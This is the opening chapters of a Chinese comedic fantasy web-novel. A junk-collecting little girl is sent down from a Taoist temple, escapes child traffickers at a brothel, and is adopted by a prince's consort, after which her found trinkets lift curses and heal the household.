《王府里来了个捡破烂的崽崽》
第1章 刚出门的幼崽被拐跑啦
京城西郊,一座破旧的老道观门口。
“团团啊,下了山,路上看见什么都能捡,捡了就放在包袱里藏好,别让外人瞧见。”
一个老道面对着眼前的小娃娃,叮嘱完忍不住揉了揉眉心。
旁边两个小道童站在一旁不停点头:“师父说的是,团团你一定要记住啊。
团团一身漂亮的小花裙,仰起一张白嫩嫩,圆嘟嘟的小脸,冲着老道露出两个小梨涡,笑着回答:“嗯啊!晓得啦!“
“等我认了亲,把你们也接去,一起吃好吃的,住大大的房子。”
老道的脸皮抽了抽,今天无论如何也得把这小祖宗送走!
五年前,这个小女娃尚在襁褓,不知被谁丢在了道观门口,他看着可怜,便抱进了道观里养着,见她孤苦无依,遂起名团团,希望她有朝一日,能和家人团聚。
没想到自从团团给来了以后,这无人问津的偏远破道观突然便多了不少香客,连周围山里经常光顾的野兽也不再来了。
当时观中的众人还都感叹,真是个福星啊!
万万没想到,这小福星有个要命的毛病,喜欢捡破烂!
附近村里的鸡鸭鹅牛羊,她看见没人在便牵回来,连人家门口的板凳碗碟都没放过,全悄咪咪的背了回来。
捡回来也就罢了,还到处藏,不让人找到,搞得现在谁家不见了什么,都到观里来寻,每次都得所有人出马,千哄万哄得才肯拿出来。
观里都快被她捡成废品存放站了,老道实在是没办法,琢磨再不把人送下山,怕是这道观都要重建了。
于是哄她,说你是京城一个大家遗落在外的崽,该回去认亲和家人团聚了,你走到哪里都有好事发生,如今你家中霉运缠身,急等着你回去镇宅转运。
团团信了。
“爷爷放心啊,我肯定能把我家救回来,再把你们接去享福!”
老道急得直搓手:“快走快走,再磨蹭,下了山都天黑了,你怕是能把后山那口破井也顺回来。”
团团瘪了瘪嘴,拎起包袱往背上一扔,一蹦一跳下了山。
目送着那小小一只背影逐渐走远,两个小道童互相看了一眼:“总算把这小祖宗送出去了!走!咱们去庆祝一番!”
团团一路走,一路捡。
路边的破瓦片,溪边的小石子,掉落的知了壳……她都视若珍宝的捡起来放进了包袱。
走着走着,包袱越来越重,她找了块石头坐了下来,抱着小包袱:“捡不动了。”
天色越发暗下来。
她有点犯嘀咕,要不要,先回去一趟?把这些捡来的好宝贝藏好了,明天再去京城找爹娘?
“哟,小丫头,你怎么一个人在这里?你爹娘呢?”一个苍老的声音突然响起。
团团一抬头,是个老婆婆,头发灰白,嘴角有颗黑痣,满脸慈祥的笑容。
“我在找我爹娘啊!婆婆你认识他们吗?“
老太婆笑了:“婆婆不认识,但婆婆可以帮你找啊!你饿不饿?婆婆先带你到我家去吃饭好不好?”
“好!我饿啦!”团团眼睛一亮,笑了,脸上露出两个小梨涡。
她抱着小包袱站了起来:“道长说我爹娘就在城里,住着大大的房子呢!”她用手比划了一个圈,大大的!
“那不是巧了嘛,婆婆就是前面镇上春香院的!那儿有的是大户人来往,说不准你爹娘就在里头等你呢。”老婆婆咧嘴一笑,露出一口黄牙。
团团歪着头想了想,这婆婆说得有理啊,肚子好饿,先跟着去吃饱了肚子再去找也挺好。
“好!”她点了点头。老太婆笑得更灿烂了,牵起她的小手就往镇上走。
这小姑娘生得真水灵,脸上两个小酒窝一看就招人,就是年纪还小,不过正好,养个几年,学会了弹琴唱曲,足可稳坐春香院的头牌。
同一时间,京城,宁王府后山。
王妃程如安一身素衣,正在祭祖。
宁王,萧元珩,年三十有余,为当朝皇室旁支一脉的宗亲。
曾是一名战将,征战沙场,军功赫赫,封为宁王,如今却怪病缠身,缠绵病榻两载有余。
太医院的太医们一听到宁王府有请,都暗自摇头,这一身的怪病,根本无从治起。
皇上下旨张榜为他请过名医,请过国师,却皆束手无策。
王妃与宁王虽然情笃,却膝下无出,府中的三个儿子皆是庶出,且各有顽疾,王妃终日郁郁,除了在祠堂烧香祈福,就是祭祖,祈求列祖列宗保佑,早已别无他法。
她跪在祖坟前,手中捻着香,唇色发白,口中不停喃喃。
“王爷为国征战,铁骨铮铮,不该受此磋磨。求祖宗保佑,让他病痛得消,哪怕折我寿数,我也心甘情愿。”
她说着说着,声音哽咽:“府中三个孩儿,虽非我亲生,却也是王爷的血脉,但不知为何,他们也各有疾苦,我这个做嫡母的,无能为力,实在心焦。“
她顿了顿:“宁王府这些年,风雨飘摇,诸事不顺,求祖宗开眼,指点迷津,给王府一条生路……”
话音刚落,天上突然传来了滚滚雷声,大白天里一道雷霆轰然劈下,砸在祖坟前的镇石上。
“砰!”石头居然裂开了,烫起一道白烟。
程如安脸色惨白,身后的下人们也都吓傻了。
她稳了稳心神,走上前,颤着手扒拉开了碎裂的石头。
只见裂缝底下,慢慢渗出了三行字迹,隐隐透着青色的光。
春香院,柳湾村,花溪镇。
她怔住了,闭了闭眼,睁开了再看时,字迹却不见了。
难道是我魔障了?
不!刚才那几个字确实出现过!
这、这是祖宗……显灵了?
王妃僵了好一瞬,还犹豫什么!死马当活马医吧!
她猛地站起身:“套车!去柳湾村,花溪镇!给我找这个春香院!”
第2章 崽崽大闹春香院
团团睡着了。
无论老太婆怎么喊,她都睁不开眼:“别吵!我走不动啦。”
老太婆恨得咬牙,干脆不想要她了,却又怎么都舍不下这个白捡来的大便宜,想把她怀里的小包袱扔掉,又拽不开她死死抱住的两只小手。
老太婆扒开一条缝往里看:“这都什么乱七八糟的东西!一堆破烂!”
没办法,老太婆只好把她背在背上,一步一步往前走。
背一截路歇一会儿,
一路走一路骂骂咧咧:“这不是捡了个祖宗嘛!”
终于,走到了春香院,来到后院的一间小屋里,老太婆把她往地上一扔,咔哒一声将门锁死了,直了直后背:“哎呦,我的老腰!”
团团被摔醒了,揉着小眼睛坐起来,低头一看,小包袱还在,顿时安心了不少。
她张望着四周,吃的呢?
目光落在角落里蜷缩在一起的三个瘦巴巴的小姑娘身上。
“你们是谁啊?饭在哪里啊?”团团问。
一个小姑娘瘪了瘪嘴:“饭?没有饭,我们从昨天开始就没吃过饭了。你也是不听话被关进来的?”
团团歪着头思索:“为什么没有饭吃啊?婆婆说让我来吃饱肚子的。”
“刚才把你送来的老太婆?就是她说的,进来了就要听话,不听话就不给饭吃。”
团团的小脸顿时鼓了起来:“骗人!她说带我来吃饭!吃饱了帮我找爹娘呢!”
“那是她骗你的!”
“哼,坏蛋!”团团气鼓鼓地抱紧了怀里的小包袱。
对了,我还有我的宝贝!
扯开了小包袱,她掏出昨天刚捡的破瓦片,往地上一摔:“我要出去!”
啪啦一声,瓦片落在地上摔成了碎片。
咔嚓咔嚓的声音突然不断响起,墙角处竟然不断出现了裂纹,眼看那裂纹越来越多,最终竟然露出来一个洞。
团团眼睛一亮:“走呀,咱们出去找好东西!”
她猫着腰钻了出去,几个小姑娘惊得目瞪口呆,互相看了看,也都跟着钻了出去。
谁都没有注意到,地上那些摔碎的瓦片,已然消失不见。
春香院的院子本来就不大,几个小姑娘灰头土脸撒腿跑起来,撞翻了水桶,踩翻了鸡窝,一时间院子里鸡飞狗跳起来。
“这几个小丫头怎么跑出来了?赶紧抓回来啊!”老太婆喊着院子里的打手们。
团团趁着他们没有抓到自己,从包袱里又摸出一个干巴巴的知了壳,往天上一扔:“快来救我!”
一个五大三粗的打手冲过来,一把攥住了她细小的胳膊:“还敢跑?饿你几天就老实了!”
空中突然响起了“嗡嗡嗡……”的声音,越来越近,越来越大,所有人都停了下来,不明所以的四处张望。
无数知了猛然飞到,密密麻麻乌压压的直扑向打手们的脸。
他们只能松开了手里的小姑娘,惨叫着四处抱头乱窜。
“哪儿来这么多知了!”
“救命啊!”
桌椅倒了,锅碗瓢盆翻了,账本掉落一地。
一个小姑娘小手一指:“大门!在那里!“
团团听到了,抱紧了怀中的小包袱:“快跑啊!“带头冲着大门口跑了过去,几个小姑娘见状也都跟了上来。
眼尖的老太婆尖声大叫:“抓住她们!不能让她们跑了!那都是银子啊!“
但打手们都被知了缠住了,根本看不见,老太婆腿脚又慢,只能眼睁睁的看着团团几人跑出了大门。
“吁——!”
一辆豪华的马车停在了春香院的门口。
侍卫掀开了车帘,宁王妃程如安坐在车内,正对上刚刚跑出来的几个孩子。
领头的那个,怀里抱着个小包袱,小脸圆嘟嘟的,白白糯糯的脸上梨涡隐现,气势硬得很:“坏蛋!不给我吃饭!”
王府的老嬷嬷刘氏猛地吸了口凉气,惊呼:“王妃!那孩子长得,跟您小时候,一模一样!”
王妃一怔:“什么?”
“您看啊!那张小脸!那脸上的小梨涡!那神态!跟小时候您闹腾时一个样儿!一眼就能看出来!”
程如安心中一动,莫非,就是这孩子?
今日祖宗显灵将我指引至此,就是让我接回这孩子?
这绝对不是巧合!
把手伸给刘嬷嬷,扶着她下了马车,程如安抬头看了看春香院的牌匾,走到团团的面前:“小姑娘,你叫什么?为何在这里,要去哪?”
团团抬起头看着她,好漂亮,好想贴贴啊:“我叫团团!来找我爹娘!这个婆婆。“她小手往里面一指。
“她说带我回家吃饭,帮我找爹娘,把我关起来,不给我饭吃!“
她说的颠三倒四,程如安却听明白了,眉头一皱:“萧二!“
“在!“王府侍卫长萧二马上走了上来。
“去,将此地父母官叫来,你亲自过问此事,若有违背律法之处,一概严惩!“她看了一眼其他几个小姑娘:“妥善安置。”
“是!“萧二领命而去。
王妃低头牵起了团团的小手:“你可知你爹娘的名字?家在何处?”
团团想了想,摇了摇头。
程如安看着她,不知为何心里一片柔软:“那你愿不愿意我做你的娘亲?跟我回家,想吃什么,娘亲都给你做。“
团团仰着头,看着她的脸,大眼睛一眨一眨的。
程如安手有些颤抖,生怕她说不去,自己该如何是好。
团团脸上露出了一个灿烂的笑容,两个小梨涡深深的陷了进去:“好啊!你家有什么我能捡的宝贝吗?“
程如安一颗心落在了肚子里,忍俊不禁:“你要捡什么宝贝?”
“只要是我喜欢的,都要!”团团理直气壮,只要没人在旁边,就可以捡!捡到了就是我的!“我要捡回来藏起来,可有用呢。”
王妃弯下腰将她抱进了怀中:“好!我家宅子很大很大,你喜欢什么,都可以捡!”
团团眼睛一亮:“你家在京城里吗?”
“对啊!”
“娘亲!“团团将小脸埋在了程如安的颈窝里:”原来,你就是我娘亲啊!爷爷说过,我爹娘在京城,住在大大的房子里!“
小脸冰凉软嫩,蹭的脖子痒痒的,程如安心头一颤,俯身将她抱起:“娘亲带你回家。”
团团点了点头,“我以后捡回来的,都要藏在家里。”
“好!都给你藏着,谁都不许碰。”
“娘亲真好!“团团软软的窝在王妃的怀里,一同进了马车。
王府出面,春香院被查了个底儿掉。
参与拐带人口,逼良为娼的所有人等都被捉拿下狱,等候她们的将是刑律的严惩。
附近的居民皆对此称颂不已。
马车摇摇晃晃的驶向宁王府,团团被晃困了,窝在王妃怀中睡着了,程如安望着她的睡颜,团团,无论你是否能为王府带来祥瑞,娘亲都会照顾你一生一世。
宁王府后宅,侧妃方清妍的院落,凌霜阁中。
方清妍懒懒斜靠着美人榻:“王妃出去一整天了?”她慢吞吞的问道。
心腹婢女锦绣忙低声劝着:“主子莫气,王妃娘娘每日除了请医问药,便是祠堂祖坟烧香,今日也不过如此。”
方清妍冷哼一声:“成天烧香,祖宗也没给她什么好福气。”
锦绣陪着笑脸:“王妃膝下空空,也只能强撑着体面。这王位花落谁手,还不是得看咱们二爷?”
宁王萧元珩怪病缠身,庶子们也都身有顽疾,府中人皆已默认,若王爷过身,这世袭的王位必定是落在他的庶弟萧家二爷的身上。
“呵。”方清妍轻轻一笑:“也不枉我熬了这么些年。”
“去吧,”她站起身,理了理裙摆:“时候不早了,也该做做样子,去看一眼咱们这位病恹恹的王爷了。”
第3章 跟着娘亲进了王府
“哇哦……好大啊。”
马车停在了宁王府门口。
团团睡醒了,扒在窗沿,糯叽叽地发出了一声感叹。
程如安抱着她下来,站在那高大的府门前,团团小脑袋左摇右晃,仰望着眼前这座比道观的大门还大的宅门,眼珠子都快掉出来了。
“娘亲,这门比我高好多个。”
“嗯,对,好多个团团叠在一起都进得去。”王妃笑着看她,心中莫名的轻松,感觉自己好久都没有这样笑过了。
团团拍了拍自己的小包袱:“这地方这么大,一定藏了很多很多的宝贝!什么时候才能捡完啊,累死宝宝了。”嘀咕完,又打了个哈欠。
“还困?”王妃抱紧了她。
“困啊,太大了,看着就困。”
“……“程如安无奈地摇了摇头:”别急着睡,先吃饱了肚子,再洗个澡,换身干净的衣服再睡。“
她抱着团团,稳稳地走进了自己的正苑,静兰苑中。
刘嬷嬷带着下人们马上就忙碌了起来,先是让厨房马上做出了一个适合孩子吃的席面,红烧鱼,炖排骨,青菜汤……,菜端上桌,又赶紧安排人烧水,准备团团的衣裳。
团团被一桌子好菜馋得直流口水,肚子咕噜咕噜地响了起来,她坐在桌边,小手不停地指指点点,要这个,还要那个!
“莫急,都是你的。”程如安细心地将骨头剔掉,把肉放在团团面前的米饭上:“慢慢吃,来,喝口汤,别噎到。”
团团饱餐了一顿,又洗了个热水澡,换上了一身鲜亮的小衣服,再出现在王妃的面前时,所有人都愣住了。
小团团一身粉红,头发梳成了两个小啾啾竖在头顶两侧,整个人跟剥了壳的糯米团子似的,白生生,软乎乎,眼珠子乌溜溜亮得像能滴出水来。
她鼻尖细软,唇瓣粉红,笑起来脸颊上便有两个浅浅的梨涡,
这梨涡,偏又生在了跟王妃脸上同样的位置,软软的,盛满了笑意。
屋里的下人们瞧着,都忍不住低声念叨:“这孩子,活脱儿一个小仙童!”
团团扯着新衣服下摆自顾自地转了两圈,新衣裳软软的,好舒服!
程如安情不自禁地将她抱在怀里,在她的小脸上亲了一下:“团团,跟娘亲去趟祠堂,给你认祖归宗!”
“主子!主子!王妃带回来一个小丫头!正往祠堂去,说是要让她拜见祖宗!”锦绣跑进了凌霜阁,大声地喊着。
“什么?王妃从哪儿带来的野丫头,也敢抱去祠堂?”方清妍眉毛立起:“王爷何时有的这门子嗣?”
“走!去祠堂!”
凌霜阁离祠堂近,方清妍带着自己院里的一众下人们先到,守在了门口。
看到王妃领着团团走近,笑盈盈地迎上,行了个礼:“呦!这小姑娘是谁啊?怎么王妃还带她来祠堂了?”
“捡来的。这是祖宗显灵,指路给我才找到的。”程如安并未隐瞒,淡淡地回道。
“捡来的?”方清妍一愣,嘴角扯了扯。
团团仰头看着她,长得还行,可怎么一身黑气?“先来先得哦!娘亲先捡到的我,没你的份儿啦!”
方清妍噎住了,正色道:“王妃此举不妥!捡来的孩子岂能进王府祠堂!是否是王爷的血脉需宗族认定,王妃岂能儿戏?”
程如安一向温和宽容,从不与她争,她以为这次也一样,说一句便能将她挡回去。
不想这次却不同,程如安脸色一沉:“我才是正妃!府中后宅之事有我在,还轮不到你做主!若有不服,尽可以禀明王爷,请他裁断!让开!“
方清妍首次被她拿出王妃的身份当众斥责,脸上顿时青一阵白一阵,胸中怒火翻涌,却无可奈何,自己只是侧妃,礼法如此,反驳不了,她进不得,又不想退,僵立在原地。
团团拉着程如安的手拽了拽,程如安俯下身子:“团团别怕。”
团团伸出小胳膊缠在她的脖子上,像是害怕地往她怀里躲,眼睛却瞄着方清妍,一脸狡黠:“娘亲别生气,这个黑婆婆,她有病捏!活不了多久哦!“
黑婆婆?我明明肤白胜雪!居然还敢咒我有病?活不了多久?方清妍一张脸被她气得彻底黑了下来:“你个小野种!胡说八道什么!“抬手便想打。
团团往程如安怀里一钻,程如安将她牢牢地护住,“住嘴!还不快退下!“
方清妍狠狠一跺脚,回身一巴掌甩在了身后婢女的脸上,怒喝了一声:“滚!“拂袖而去。
祠堂内,香烟缭绕,牌位肃穆。
团团歪着头,看看这,瞧瞧那:“娘亲,这屋子里好暗哦,看不清,不好捡。”
“祠堂重地,自有威仪。”程如安摸了摸她的小脑袋:“不可胡闹。”说完便跪在了香案的面前。
“哦。”团团应了一声,学着她的模样,跪在了旁边的蒲团上。
王妃双手合十,合上双眼:“今日,蒙萧家祖宗显灵,我带回了小女团团,从今以后,她便是我王府嫡女,我定将她视为己出。求列祖列宗保佑,自此家宅平安,合府康健。”
身旁传来细细簌簌的声音,她睁开眼一看。
团团趴在蒲团上,正扒拉着地砖:“娘亲,这里怪怪的。”
程如安打从心里相信她:“怎么怪怪的?有小虫子吗?”
团团摇了摇头:“下面有东西!坏东西!“
程如安心中一动:“来人!将这块地砖挪开!“
几个下人进来,一起动手,很快便将那块地砖掀开了。
只见一块橙红色,半透明的东西露了出来,隐隐还有一股刺鼻的腥涩气味。
程如安大骇:“这是何物?“
团团皱了皱小鼻子:“脏的!臭的!我不要!娘亲,快把它扔出去!“
“快!拿个盒子来!将此物放在里面,拿出祠堂!“
下人们赶紧行动起来。
那东西刚拿出祠堂,香案上的牌位便陡然间全都颤了一下,发出了一道微弱的金光,祠堂内香火未添,却明显比方才亮堂了许多。
第4章 卡墙缝里了
第四章
程如安环顾四周,明明,风未起,光未动,一切亦如往常,但祠堂内柔和明亮,再没有以前的阴森暗沉了。
她心中大震,望向团团。
只见那小小一只正扒着香案,好奇的盯着案上的牌位,伸着小手使劲地够着,想去摸。
程如安赶忙走过去,俯身将她抱在怀里:“不能碰哦,团团。”
团团小手一指,“娘亲,蛇蛇!”
“嗯。“程如安看着所有牌位的右下角处,都画着的一个十分精巧的,盘踞着的蛇形图案,耐心地告诉她:“这个蛇呢,是咱们家族的图腾徽章,只有自家人可以用。“
“旁人见到它,便知道是宁王府了,好看吗?”
团团点点头,“好看!是我见过的,最好看的蛇蛇!’
“来,跟娘亲一起,给祖宗们行礼。“
程如安牵着她的手,重新跪在香案前,郑重地行了大礼。
团团跪在她旁边,学着她的模样也行了礼,只是人摇摇晃晃的,屁股还总往后撅。
她眨巴着眼睛,看着供桌上密密麻麻的名字,忍不住小声问:“娘亲,这么多祖宗,他们都住在这里呀?不挤吗?”
“嘘,祖宗们跟咱们不一样……”程如安卡住了,顿了顿后:“这些牌位上是他们的名字,并不是他们的人,他们在这里是守着咱们的。”
团团一脸疑惑:“原来,祖宗们不是人啊!不用睡床。”
王妃赶忙捂了一下她的小嘴:“别乱讲,祖宗们以前跟咱们是一样的,但如今都已仙逝,才会在这里。”
程如安上了香,虔诚地又祷告了一番,牵着已经哈欠连天的团团走出了祠堂。
吩咐刘嬷嬷带着团团去小睡后,程如安带着那只装着祠堂挖出来的东西的盒子,坐上了马车。
傍晚时分,马车停在了一个很大的宅子门口,门楣上牌匾高悬“国师府”。
“劳烦小师傅回禀国师,宁王妃求见。”
楚渊,道号“天眼道人”,乃圣上亲封的国师,当朝公认的方外高人,受万人景仰。
王妃将那盒子奉上:“烦请国师一观。”
楚渊将盒子打开,只一眼,眉头便已皱起,他手中拂尘拂过,那橙红色的东西立时变作赤红,腥涩的气味登时窜了出来,发出轻微的“嘶嘶”声。
“王妃从何处得来此物?“
程如安面色沉重:“王府祠堂的地砖下,请问大师,此为何物?”
楚渊沉声道:“断福蛊。雄黄炼形,蛇骨为芯。用以吞运、耗气、扰祖灵。”
“宁王府的族徽,”楚渊看了她一眼,“可是五彩玄蛇?”
王妃点了下头,眼中恨意难掩:“断福蛊!原来如此!”
“无量仙尊!”楚渊点了点头:“此物专克宁王府,不宜再回,便放在贫道这里罢。”
王妃起身行礼:“多谢国师。”
程如安回到王府时,夜色已深。
她直接来到内室,看着已经沉睡的团团:“何时睡下的?晚膳用得可好?”
刘嬷嬷笑着回答:“好!什么都爱吃,可是吃了不少呢!我怕她积食,晚膳后陪着在咱们院子里跑了半晌,才睡下的。
见王妃看向床头的小包袱,刘嬷嬷赶忙说:“就是要一直带着这个,不撒手,怎么哄都不行,说是要放捡来的东西。“
“取针线来,再挑块好料子。“
“您这是?“
“这包袱跟她如今的衣饰不搭,既然她如此喜爱,我便做一个能挂在腰间的绣囊给她,以后跑来跑去的也方便。“
“还是娘娘心细。“刘嬷嬷赞了一句,将布料和针线取了过来。
昏黄的烛火下,王妃坐在团团身旁,一针一线地缝了起来。
凌霜阁内。
锦绣正低声说着:“娘娘,王妃午后已带着那丫头拜过了祠堂,听她院子里的下人们说还要择良辰,记入族谱,为王府嫡女。”
方清妍手中茶盏啪的一声放在了桌上:“她居然真的要收那个野丫头当嫡女?胆子可真不小。”
“明日,你出府一趟。”方清妍唇边露出一抹冷笑:“去老宅求见荣国夫人。告诉她,王妃认了个来历不明的小乞丐做嫡女。”
“老夫人是王爷生母,必不会放任不管。她为正,我为侧,我管不了,便请个能管的人来管上一管。”
锦绣笑了,“娘娘好筹谋!“
次日正午,老宅,听到消息的荣国夫人夏氏一巴掌拍在了桌上:“岂有此理!”
她颤颤巍巍地扶着身边嬷嬷顺姑的手站了起来:“王妃这是疯了不成?捡来的孩子也敢认为王府的嫡女?我萧家的血脉竟是如此儿戏了不成?”
她看向锦绣:“回去传话,就说老身明日动身,三日后便至。看她如何交代!”
“是!请老夫人莫要动怒,王妃想必只是一时糊涂了。奴婢这就回去传话。”锦绣磕了个头,转身离去。
夏氏坐回案边,拿起桌上的念珠,低低地念起经来。
她原就患眼疾多年,大晴天才能勉强看清东西,念着念着,眼前便花了,想起刚才锦绣的话,怒气登时涌了上来,又是一巴掌拍了下去:“简直混账!”
夜幕低垂,锦绣快马加鞭地赶回了王府,战战兢兢地向王妃禀告了老夫人即将到府的消息。
程如安冷冷地看着她:“下去罢。”
锦绣如蒙大赦,转身快步离开了静兰苑。
刘嬷嬷凑过来,低声道:“这是方侧妃去告您的状了。”
“无碍。”程如安面色如常:“我欲将团团记入族谱为嫡女之事,老夫人那边原本便是要禀明的。她一向重规矩,来了也好,若无她的首肯,我也无法给团团名正言顺的身份。”
“明日将听雨阁收拾出来,给老夫人居住。”
三日后。
王妃亲自将老夫人夏氏迎进了王府,刚走进听雨阁,还没坐下,刘嬷嬷便一脸慌张地跑了进来:“您快去看一眼吧,团团卡在漏墙上出不来了!”
“什么?!”程如安冲老夫人行了个礼:“母亲请安坐,儿媳去去便回。”说完也未等夏氏开口,便转身快步走了出去。
老夫人看着她迅速远去的背影,脸色越发阴沉:“扶老身过去,看看这个捡来的野丫头闯了什么祸!”
第5章 一脸皱皱的祖祖真可爱
王府花园一侧的院墙上,雕出了许多镂空漏花,都是梅花的形状,镂空处大多数都很细小,但有几个缝隙颇大,整面墙远远望去像是一幅梅花图,煞是好看。
但此时,一个小小的身子正正地卡在其中一个镂空的缝隙中。
正是团团。
见到几乎飞奔而来的程如安,团团瘪了瘪嘴,大声喊着:“娘亲!娘亲!我出不来啦!”
缝隙将她的小屁股卡得紧紧的,小胳膊小腿还在空中乱晃,像是一条挂在墙上的小鲤鱼。
圆鼓鼓的脸蛋上渗出了汗珠,眼眶微微发红,嘴巴一撇,眼看就要哭出来了。
程如安差点没被她气笑,又心疼又无奈,快步走到她面前。
“你怎么跑这里来了?谁让你钻墙眼的?!”
“那里!“团团小手一指地上的花丛,委屈地嘟囔:”有亮闪闪的东西,绕墙要走好远,这里爬过去就行,我就钻了。”
她声音虽低,语气却理直气壮,但也知道自己是闯了祸,小心地瞄着程如安的脸色,悄悄地缩了缩脖子。
“捡个东西都能把自己卡墙上!你可真是……”程如安嘴上念叨,手上却已经麻利地抱住她的上半身:“来,吸口气,娘亲拉你出来。”
“呼——”团团猛吸一口气:“哎哟!”
“忍着点儿,别急,再试试。“
“娘亲你轻一点儿嘛,我的屁屁要掉啦!”
程如安无奈地摇了摇头:“屁屁不会掉的,乖,再试试。“
好一番折腾,程如安才将女儿从墙里拔了出来。
团团落地后揉了揉自己的小屁股,冲着她咧嘴一笑:“没掉!“接着便一头钻进了花丛中,捡起了那个让她冒险的“宝贝”。
是一枚小铜镜。
镜面已经花了,边沿还有几个小缺口,团团小心翼翼地擦干净上面的泥土,宝贝似的放进了腰间粉色的绣囊中。
“咳咳!“身后声音响起,却是早已站在一旁,看了半晌的老夫人。
程如安牵着团团的小手走到她面前:“团团,跪下磕头,这是祖母。“
“祖祖!”团团喊了一声,听话地给夏氏行了个大礼。
老夫人微微眯眼,低着头,看向面前的小娃娃。
粉妆玉琢,脸上两个深深的小梨涡,腰间挂着一个显眼的绣囊,大眼睛忽闪忽闪地望着自己,目光澄澈,笑容甜美。
确实讨喜,让人讨厌不起来。
但她依旧沉着脸,并未答应那声“祖祖“。
团团也望着她,个子比娘亲小,脸上皱皱的,好可爱啊!就是眼睛灰蒙蒙的。
“祖祖,这个给你!”团团从绣囊中掏出刚捡到的小铜镜举得高高的:“你晚上照照,一定能看到好东西!”
老夫人低头看了眼镜子,又看了看她,没有伸手接,仍旧板着面孔,哼了一声:“成何体统!胡闹。”
“没有闹!”团团瞪大了眼睛:“祖祖你晚上照照,明天一定什么都好!”
“好什么?”
“祖祖,“团团爬了起来,将镜子塞到夏氏的手中:”为了捡这个,我差点儿,差点儿……“小脑袋歪着使劲思索:”差点儿身亡!祖祖你就拿着吧!“
程如安忍着笑:“别胡说!母亲,团团年纪小,说话不知轻重,您别同她计较。”
老夫人面无表情地握住了镜子:“我才不与这胡说八道的小丫头计较。”
“我乏了,先回去歇着了,你晚间来听雨阁一趟。”说完扶着下人的手,转身离开了花园。
“是。”程如安行了个礼,目送着她走远。
低下头看了眼团团,牵起她的小手往静兰苑走去:“娘亲给你洗个澡去,再换身干净的衣服,这一身的灰!以后不许爬墙缝了,出不来可怎么好。“
“哦!”团团乖巧地应了一声。
晚间,团团玩了一天,早早便躺下了,程如安看着她睡熟了,起身来到了听雨阁中。
内室中只有婆媳二人,王妃细细道来,如何在拜祭祖坟时因雷劈看到了字,如何在春香院门口见到了刚刚脱险的团团,如何带入府中,叩拜祖先时团团发现了国师所说的断福蛊。
以及萧二处理完春香院的事情,回来禀告的,那些人招认出来的团团自己脱险的经过。
老夫人越听脸色越是郑重。
“便是如此了,儿媳并不敢妄动分毫,却也无论如何不敢不信,团团这孩子,正是祖宗显灵,赐给咱们萧家的。”
老夫人面色复杂:“原来如此,我明白了,你歇着去吧。“
程如安走了,老夫人独坐在榻上,沉思良久,拿出了团团送的小铜镜,在灯下翻来覆去地看了半晌。
镜面斑驳,边沿破损,并无丝毫神异之处,她“哼”了一声,将铜镜扔在了床头,熄灯睡下。
翌日清晨,天刚蒙蒙亮,室内光线尚暗。
老夫人一觉醒来,睁开双眼,缓缓坐起,目光扫过桌上的香炉:“顺姑,香炉边怎么有只蜘蛛在爬?引出去罢,莫要杀生。“
“是。“顺姑闻言连忙走了进来。
正要将那小小的蜘蛛赶走,突然,她浑身一震:“老夫人!您是,看到的吗?“
夏氏一愣,这才发觉,自己的眼睛,竟然,不花了,总是让她看不清楚,蒙在眼前的厚重黑雾消失了,眼前一片明亮,那么小的一只蜘蛛,她居然能够清晰地看得到!
坐在榻上愣了好一会儿,她猛地站起身,走到柜子旁,拿起绣篮。
视线清晰,针线分明,她捋出一根绣线,麻利地穿过针尾上的小孔。
抬起头,她和顺姑互相对视着,声音都有些颤抖了:“你来看看,这是,穿上了吧?”
“是是是!”顺姑惊喜非常:“老夫人,您的眼睛!终于好啦!这真是,神仙保佑!祖宗显灵!”
老夫人将针线放回绣篮,走回到榻边,拿起了那枚铜镜,用手摩挲着镜面,“这孩子,”她低低地喃喃自语:“莫非真的是祖宗显灵,赐予萧家的?”
她回忆着昨晚王妃所说的一切,那个断福蛊和国师所说的话,“切莫声张,只你我知晓便好。“
“是。“
同一时间,凌霜阁内,锦绣正在给方清研梳妆:“您是没瞧见,昨日那野丫头在园子里疯玩,不知怎么想的,居然去钻那个镂空的墙缝!”
“被卡在了里面出不来,王妃费了好大的力气,才把人给拽了出来。合府的下人几乎都看见了,王妃这脸面啊,丢了一地啦。“
锦绣咯咯直笑:“弄了那一身的灰!老夫人就站在旁边,脸拉得老长。“
方清研不屑地撇了撇嘴:“果然就是个捡来的野丫头,这样的孩子若是成了王府嫡女,岂不是要被京城里的王公贵族们笑话死。“
“正午,赶着老太太用完膳,歇午觉前,咱们去给她请安,我为了王府声誉着想,请她来主持大局,老夫人定然欢喜,搞不好,从此厌弃了王妃,也未可知。“
“还是您想得周到。“锦绣附和着。
第6章 爹爹身上臭臭的
正午,方清妍满脸笑意地来到了听雨阁中。
她举止端庄,盈盈下跪:“给老夫人请安,昨日舟车劳顿,妾身未敢惊扰。”
“你有心了。“老夫人端坐椅中,语气冷淡,并未让她起身。
方清妍脸上笑容一僵,顿了顿:“您已见过那捡来的野丫头了?竟然疯疯癫癫地去钻墙缝!毫无世家风范,如此来历不明的一个野种……“
“住口!”老夫人厉声喝止,心中怒气陡盛。
好一个侧妃!原以为她当真是为了王府着想,才特意遣人来老宅告知团团的事情,现在还有什么看不明白的?哪里是为了王府,分明就是为了她自己!
想借自己的手,打压王妃,不愿王妃有自己的嫡亲子女,欲将团团逐出王府,简直是胆大包天!那孩子是去是留,还轮不到她来做主!
“王府后宅之事,自有王妃做主,岂有你说话的地方?”她语气冷厉,眉眼间全是怒火:“王妃才是王府正妃,你是个什么东西?胆敢妄自插手!“
“如此以下犯上,不敬主母,来人,掌嘴十下!”
“老夫人!”方清妍猛地抬起头来,脸刷的一下白了,掌嘴?从小到大,她何曾受过这般屈辱!
“动手!”
顺姑走过来:“得罪了,侧妃娘娘。“
随即,清脆的巴掌声响起。
十下打完,方清研的脸上已是通红一片,隐隐肿起。
老夫人俯视着她:“家和万事兴,即使你身为侧妃,有老身在,也绝不会任你兴风作浪,扰乱后宅,下去吧。”
“是。”锦绣应了一声,急忙扶起仍跪在地上,捂着两颊的方清研,仓皇地逃了出去。
老夫人看着她的背影:“请王妃过来。”
片刻后,程如安坐在老夫人对面,望着她脸上凝重的神情,心中涌动着一丝不安。
“母亲,”她轻声开口,略带试探,“昨日团团行为确实有些失当,但请母亲念在她尚且年幼,莫要责罚于她……”
“你可知,”老夫人打断了她,缓缓抬头,眼睛里流动着光芒,声音里带着难以掩饰的激动,“今早,我的眼睛,能看清楚东西了。”
程如安愣了一下,猛地在椅中坐得笔直,脱口而出:“当真?!”
老夫人点了点头:“昨晚睡前,我照了团团送给我的铜镜,原以为不过是小孩子胡闹,未曾想,一觉醒来,我居然能看清桌上的小虫了。”
